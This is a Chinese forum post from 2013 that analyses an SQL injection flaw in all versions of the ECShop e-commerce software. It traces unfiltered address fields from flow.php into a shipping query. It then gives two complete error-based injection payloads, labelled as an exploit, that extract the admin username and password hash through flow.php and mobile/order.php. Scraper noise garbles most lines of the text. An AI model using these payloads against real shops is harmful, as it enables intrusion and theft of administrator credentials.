找回密码
 立即注册
查看: 2521|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。" V0 j; [8 ]6 }0 w! A

  o: E; i& b# j/ Z+ @6 k    漏洞关键文件:
8 ]$ `1 P$ O8 O7 F4 ]2 k5 {) u( `9 j
    /includes/lib_order.php/ W5 j" a/ U- _( R' H

5 E6 Q$ P$ ?( [. W$ P; b( o    关键函数:# m8 q2 N# D5 v9 d0 B, ^: Z& }

% R3 Q) L3 q" _: ]
2 q5 J/ P6 {, N7 d% d* L; i  p3 A. X" s
01     function available_shipping_list($region_id_list)
! f- b6 L) x" I! L) U" n* ^, T+ ?% v, i/ t4 r- _$ h3 z) G
02 {
3 Q; I0 @9 ~: e4 R; U
- E# s8 S& y0 j* q03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
) O  I' _+ ]( k
- g1 z3 m3 z# a' Y7 l) @. B04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . - _5 A, Z4 F5 Q
" o1 P  b( {- K% R
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . * _; N4 u  b  F% E

: z+ G1 ~$ G7 }2 S$ _% ]06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: A& O$ E4 x! m) x4 e
7 r1 R0 M. K, a& c  W2 m. A/ t07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. , o% H6 g' U) r
# S8 k) ^! b9 V& ?3 k% Q
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
$ s* k, t7 s: ~. v) S4 d$ f. O3 ^
- x: L. H) v/ u) k; z3 \09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; 0 }4 J( O. T7 T* J0 R1 W
( K* b3 p. M/ p4 q' Z( i1 A
10   
5 p/ p2 k9 q3 T( ~7 V
  O& d8 [) W( e( {: y6 a/ l/ A11     return $GLOBALS['db']->getAll($sql); 0 {5 W1 _4 j& f! s
8 q# @- @$ U2 B0 f/ f4 g
12 }
$ l0 k( \+ b- I4 o  ~9 [& [
' ~, F# O3 G1 k% e& X显然对传入的参数没有任何过滤就带入了查询语句。
% k+ k# ?( ]# |5 B/ N4 \: W
% n% U. A- l7 \下面我们追踪这个函数在flow.php中:
7 w$ B# V1 e  m. F1 j$ M* Y, Q 第531行:   
2 O( O( }/ H+ Z. ~. v4 S: Q* l; R9 F/ ^; _" l
1 $shipping_list     = available_shipping_list($region);
0 W) K. u' |+ a. k8 s  u+ M! ?8 U. X+ ~9 v

3 N. z$ B' F* [# K
# e; A$ ~' B$ k$ R7 P" x4 I3 O
8 i: Q9 A  E# N- l, R6 q: G
8 b$ g/ _. `: G8 ?1 G; _% [# O0 }* {再对传入变量进行追踪:' [6 b" q5 p/ v& e4 K6 B

" B0 G- m) N) _5 C. d第530行:   
; M+ K0 l- {( q3 K5 p1 B4 H& z" O
( F) \1 @1 d. v1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
% A3 P2 P/ U, \" x7 x1 N
* ~, V# T" W4 j  x1 G8 }
0 Z% c3 f7 G3 s: w
; ]( {( o' I% t0 a- T5 s
( I; }' ?" ~2 U7 d1 ^+ ^, V' R5 g) [. x" e2 m
第473行:        
9 p. _. J. e& B% e8 G. s
+ k9 g8 e# t. L! z1 $consignee = get_consignee($_SESSION['user_id']); , f1 [$ F  k' f# F5 c0 q6 @5 q2 u* m

' S* I- {. ?1 ~1 s( U: [# @/ I到了一个关键函数:6 s+ R1 a3 |3 d) {1 G$ n- u; ?
! ]; x* X9 w: y6 v6 H
/includes/lib_order.php" J1 X/ N8 ^# d5 R

- G$ }& k6 S8 U. O' r$ V
6 s0 o* l! l+ x! x- V
$ o8 u2 \5 N" @$ t ' m7 J, d' X: |
9 C7 b0 M: z* _
01 function get_consignee($user_id)
2 [. P  Q- E' R3 U# j# O: u, l9 |& e8 G. k- N" F. Q& l
02 {
8 l& l" F* k3 R: {# q0 r7 o1 \  ]  a2 |% G. P$ V
03     if (isset($_SESSION['flow_consignee'])) & Z3 [$ U; b5 [! ]. g" ~

" D# u8 y1 g3 ]. z04     {
+ V: l6 i% a3 [: v$ \6 ?
  W+ ?2 R5 {$ B& S9 u  t; R05         /* 如果存在session,则直接返回session中的收货人信息 */
$ C: @/ X. B$ q( D* J' ], H. c
4 q7 ]: c8 U! X06   ) l3 F* ^4 b  B

  @: A6 K$ a; O07         return $_SESSION['flow_consignee'];
5 ?( h. q4 W. q- e; M, O# v: r8 n% t  j
08     }
" E! N3 y6 x  i: O/ m- D  n! l* j0 t8 O% Q
09     else 3 f: t* f2 t* M. U1 T
+ t2 r, b* l# B4 w
10     {
! o: a' n5 ^$ P6 z
5 I  n4 x8 G2 |11         /* 如果不存在,则取得用户的默认收货人信息 */ 3 h% j! c: m: z8 S

; S, R7 ]% X8 k, {* o9 q) T. {6 P12         $arr = array();
, t/ L' U8 E+ c4 H! z8 C4 ~2 N  ^' b! G9 u5 K8 o, X
13   
' q- g/ a7 n5 @) G+ y+ C3 ~) D. z) C
14         if ($user_id > 0) / U- j- g3 L" k# b& P
( X1 w5 n/ l/ j5 M: Q0 f6 P7 S7 `
15         {
" H) t/ B/ V3 ~8 J# g. S; ]
9 `7 G6 L0 E4 r16             /* 取默认地址 */
: d5 e% E  b: [- F1 D# Z$ g# T# Y' I. z% \, N9 {- `0 R
17             $sql = "SELECT ua.*". 5 y8 t( Y  y  s+ K: j5 D
  {+ t& E4 n, @. r, i
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
0 z; Y( ^2 s4 ^/ [6 c0 m6 l: r4 S6 V: X8 \) w# Q" b
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; . o8 y( h9 R  W1 i$ A1 U. q

7 c" p8 N' p# ]9 q; L- \20   ( |% v1 c$ o% q7 `. [) f9 ]+ Q: m
7 T; B6 W# _2 {* \# X7 W
21             $arr = $GLOBALS['db']->getRow($sql);
6 z, M) S( i* F! V6 I  x. B, u3 ^* M
22         }
5 O- `- Z$ J8 ~, F+ [
" B  ?  M; \. ^6 p3 |* |1 }' P23   7 A; U3 ?7 `* n8 l$ W% [: X9 g. L7 P4 _
8 i% `. j2 F0 i6 ?+ Q3 R7 R
24         return $arr;
( ]) b* e' v9 e1 k, l& V
$ ]) K5 E+ J; c- Z+ v25     }
  T0 i! z& {) g0 _  q: n. [# y' ]& c6 \0 r; F/ `% X/ r% n
26 } # [/ j) o# M* m% x

* d! ?2 L" |& d# G3 {显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
1 O5 P' P1 a; f* k! q2 I$ v# u* D+ o2 \( m- |

' q4 O0 q" \7 s0 S$ b
2 Y$ q2 Y- g: y3 L  b" b7 S! _关键点:) i/ E8 ~+ O7 b/ d% j- S0 F( R

& z6 ~, g$ u* E5 ~/ j第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
" M8 B2 I& `+ m0 X8 ?  C( b9 |! ?- B& d6 {; ]" x1 w4 c
这里对传入参数反转义存入$_SESSION中。& B% b8 r- g1 o$ ~$ V% {

+ @+ }  x: v- Z+ p; J
. o0 N# K/ \! ]9 Y. I0 f( g) s* K+ ]* @% O5 B+ R0 L
然后看下:
6 i' w9 T4 P- r* e' d$ b0 D% T4 F( u5 o; |$ |

) D+ C' {2 H4 ]" U1 ?. c6 H
" M* i( U7 ~" W$ l    0 F* I1 b5 z5 y% n$ c* g

" ^7 M- Z; c/ M01 $consignee = array(
+ f  G  I5 f1 |  p* p' g. ~/ `8 k4 ]# U5 l& ], v6 {
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), , S. t& i6 V$ f1 w0 h. b9 m/ Y

9 O( K  Y! c  g* ?" L8 S! H7 j03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), : ^3 U( f& b1 g( m

" M- Z/ p$ m  [# @7 v2 z04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
! L4 q2 ^! L( Z; ^9 B4 j% v) F2 W- t- z& e+ E
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
1 f# t! }7 q; c: A5 R$ @
  G! e  @2 e: s+ M06         'city'          => empty($_POST['city'])       ? '' _POST['city'], $ _% |* c: o; X! g5 b

+ `* O, d0 Z+ E& u( H/ W07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ) u; s) f, b# B

  X! b) n4 e2 Q+ C) h08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
0 f* _/ ?' T1 P
3 K4 s" ~- g. ~& ?, {09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
- c& Q( z9 f3 `8 ^
9 `+ O3 r" W7 N8 @10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), + T% E9 z/ ?6 u4 D, ~
% z( T; k3 ^) [* t& E2 d( V
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
) ~( m$ Z' r4 n$ A- ^& v/ B
# w3 ^9 q7 X9 S# }( Q* D12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), ; O) o! n' K5 ^) Z: H" s  l

, s) m& d0 }' d4 n: Q1 ?13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ( a7 f  `) S- L! s

2 L5 W) q8 R8 n" D1 v0 D- X14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], , y6 u3 ?4 y0 X0 c5 S* {& h

3 V: Y. P3 s  e15     ); 4 \. p) b) W! M) P& V
: G& [) ^. t5 P6 p9 n- P
好了注入就这样出现了。. p/ N: Z0 T: w' u) i4 I4 a

- Q& `/ h4 p' u! @==================
, Q) S: K5 V* ?% D: {4 t5 I  V! k0 j  e
注入测试:( V! \: N) {( d& f

5 f0 y9 S$ t4 `' ]6 U环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
0 P: E! s7 F8 W- x+ G. o) N, {% m1 P% Q4 L! o% \. w2 z
测试程序:ECShop_V2.7.3_UTF8_release1106  s4 M$ n4 V" M
' w3 x3 a' n2 F: |6 a
0 q6 a5 b9 W0 _* W  j

+ V5 M' C1 j: n& T1.首先需要点击一个商品加入购物车  _# _' R3 }; N8 O- p& d0 C

1 O8 @2 d$ H1 {2.注册一个会员帐号
7 Z9 X7 j2 q5 r- ^& @8 F! \0 ?
* k8 w3 P- z% f: O9 `3.post提交数据
8 @$ B* `9 Q  O$ b$ C
, [3 r0 Z1 l" X" E$ x1 U
/ ^4 h2 D& ]& M/ a$ Z, L
) u- |. a- E0 _6 h+ w' Y1 http://127.0.0.1/ecshop/flow.php 6 p# S8 i* _  M( b. w  |

& a& X1 v; N/ D" f' m2   - M6 v8 Y( G' s* G* X+ y( H7 Z) H

' d' p9 w  w  Z; C. E3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
( m/ J' Y5 O$ Z  M' y& E举一反三,我们根据这个漏洞我们可以继续深入挖掘:
- s5 K3 H' \" M
% n7 C- X& t) m( H我们搜寻关键函数function available_shipping_list()
* v3 x7 i6 F& _" C- {, x+ c' K% }
# N! ]5 g( ^8 G- z6 E+ d4 J在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同3 Z8 l+ g5 ~* n7 y& h, [: ]

2 R" t# q) z7 j1 f8 o利用exp:" R  z$ F* |% T! N" I9 t
8 q  j# j# P' x  ]- O: a0 a
1.点击一个商品,点击购买商标
/ O' h( o9 ~6 }3 x7 b9 z! Z
5 B/ t: ~/ ~# ?7 s3 L0 N0 L2.登录会员帐号
+ d, \5 V6 _, T/ X9 f! Z; @( c; v5 h1 Z$ v/ T, [. Q+ p3 ^" ^
3.post提交:- b5 i' \% B* [2 W, Y& d& E$ J
0 `. k% v" M0 C& |( v* t
http://127.0.0.1/ecshop/mobile/order.php
' u1 b1 S+ _3 g+ }) E) n, b, g5 A% x
) n, E  [" c/ s' ^

+ b! e( h2 S1 q% u+ i% S5 dcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
. T" ]( o. P) |; B8 E, Y$ p: e6 {0 h( ?" C, q2 n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表